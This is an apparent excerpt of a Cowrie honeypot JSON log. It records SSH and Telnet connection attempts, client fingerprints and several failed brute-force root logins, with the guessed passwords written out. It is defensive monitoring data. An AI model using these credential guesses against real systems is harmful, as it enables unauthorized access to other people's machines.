{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:08.583516Z","src_ip":"109.237.96.109","session":"55c2cdfea6c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:08.808855Z","src_ip":"101.47.156.21","session":"19921180b8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233qwe","message":"login attempt [root/112233qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:08.881171Z","src_ip":"109.237.96.109","session":"55c2cdfea6c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:09.985281Z","src_ip":"109.237.96.109","session":"55c2cdfea6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":42852,"dst_ip":"10.17.0.5","dst_port":23,"session":"c263517baff3","protocol":"telnet","message":"New connection: 178.128.93.180:42852 (10.17.0.5:23) [session: c263517baff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:12.799054Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":56352,"dst_ip":"10.17.0.5","dst_port":22,"session":"221a14ddfa56","protocol":"ssh","message":"New connection: 20.160.86.7:56352 (10.17.0.5:22) [session: 221a14ddfa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:14.804188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:14.810197Z","src_ip":"20.160.86.7","session":"221a14ddfa56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:14.894713Z","src_ip":"20.160.86.7","session":"221a14ddfa56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:15.265134Z","src_ip":"20.160.86.7","session":"221a14ddfa56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:16.358461Z","src_ip":"20.160.86.7","session":"221a14ddfa56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":50984,"dst_ip":"159.203.135.109","dst_port":23,"session":"801f59c8ab89","protocol":"telnet","message":"New connection: 79.139.59.21:50984 (159.203.135.109:23) [session: 801f59c8ab89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:16.938283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":58738,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba228db075c4","protocol":"ssh","message":"New connection: 103.77.175.15:58738 (10.17.0.5:22) [session: ba228db075c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:18.205266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:18.211576Z","src_ip":"103.77.175.15","session":"ba228db075c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.64626741409302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:18.380672Z","src_ip":"69.4.83.194","session":"d54986d8ba18","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:18.466308Z","src_ip":"103.77.175.15","session":"ba228db075c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"937999","message":"login attempt [root/937999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:19.230308Z","src_ip":"103.77.175.15","session":"ba228db075c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58210,"dst_ip":"10.17.0.5","dst_port":22,"session":"324412ad3213","protocol":"ssh","message":"New connection: 103.82.132.16:58210 (10.17.0.5:22) [session: 324412ad3213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:20.122238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:20.127239Z","src_ip":"103.82.132.16","session":"324412ad3213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:20.380981Z","src_ip":"103.82.132.16","session":"324412ad3213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:20.488574Z","src_ip":"103.77.175.15","session":"ba228db075c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"515253","message":"login attempt [root/515253] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:21.141957Z","src_ip":"103.82.132.16","session":"324412ad3213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:22.398460Z","src_ip":"103.82.132.16","session":"324412ad3213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39172,"dst_ip":"159.203.135.109","dst_port":23,"session":"d958819b4582","protocol":"telnet","message":"New connection: 69.4.83.194:39172 (159.203.135.109:23) [session: d958819b4582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:28.985385Z"}
{"eventid":"cowrie.session.closed","duration":32.421802043914795,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:31.642702Z","src_ip":"69.4.83.194","session":"91f404a613cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40534,"dst_ip":"159.203.135.109","dst_port":23,"session":"1800ce50bad3","protocol":"telnet","message":"New connection: 69.4.83.194:40534 (159.203.135.109:23) [session: 1800ce50bad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:32.571353Z"}
{"eventid":"cowrie.session.closed","duration":37.38367772102356,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:41.268570Z","src_ip":"69.4.83.194","session":"ffb928a4be5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40566,"dst_ip":"10.17.0.5","dst_port":22,"session":"a693a2f8b154","protocol":"ssh","message":"New connection: 193.228.128.84:40566 (10.17.0.5:22) [session: a693a2f8b154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:46.527695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:46.533582Z","src_ip":"193.228.128.84","session":"a693a2f8b154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:46.639170Z","src_ip":"193.228.128.84","session":"a693a2f8b154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12131213","message":"login attempt [root/12131213] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:46.944958Z","src_ip":"193.228.128.84","session":"a693a2f8b154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.13022422790527,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:47.901161Z","src_ip":"79.139.59.21","session":"56c9530e8a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:48.049118Z","src_ip":"193.228.128.84","session":"a693a2f8b154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.58782935142517,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:48.700382Z","src_ip":"178.128.93.180","session":"a96c4877a7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.99406814575195,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:55.220706Z","src_ip":"178.128.93.180","session":"ae97b68de4a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":51184,"dst_ip":"10.17.0.5","dst_port":22,"session":"925ad10020d4","protocol":"ssh","message":"New connection: 182.191.77.164:51184 (10.17.0.5:22) [session: 925ad10020d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:55.897766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:55.903355Z","src_ip":"182.191.77.164","session":"925ad10020d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:56.141024Z","src_ip":"182.191.77.164","session":"925ad10020d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang1234","message":"login attempt [root/wang1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:57.122812Z","src_ip":"182.191.77.164","session":"925ad10020d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":33024,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9cced605fdc","protocol":"ssh","message":"New connection: 88.147.30.59:33024 (10.17.0.5:22) [session: d9cced605fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:57.539669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:57.544667Z","src_ip":"88.147.30.59","session":"d9cced605fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:57.658561Z","src_ip":"88.147.30.59","session":"d9cced605fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1111111","message":"login attempt [root/a1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:58.139354Z","src_ip":"88.147.30.59","session":"d9cced605fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:58.363681Z","src_ip":"182.191.77.164","session":"925ad10020d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:59.258060Z","src_ip":"88.147.30.59","session":"d9cced605fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.704145193099976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:00.689436Z","src_ip":"69.4.83.194","session":"d958819b4582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.029027223587036,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:07.600211Z","src_ip":"69.4.83.194","session":"1800ce50bad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":53480,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffb750a40d6","protocol":"telnet","message":"New connection: 79.139.59.21:53480 (159.203.135.109:23) [session: bffb750a40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:13.633750Z"}
{"eventid":"cowrie.session.closed","duration":65.88225245475769,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:18.681187Z","src_ip":"178.128.93.180","session":"c263517baff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":32888,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b9851ffaa16","protocol":"telnet","message":"New connection: 69.4.83.194:32888 (159.203.135.109:23) [session: 2b9851ffaa16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:27.513735Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40708,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a338cad4d76","protocol":"telnet","message":"New connection: 69.4.83.194:40708 (159.203.135.109:23) [session: 3a338cad4d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:46.961246Z"}
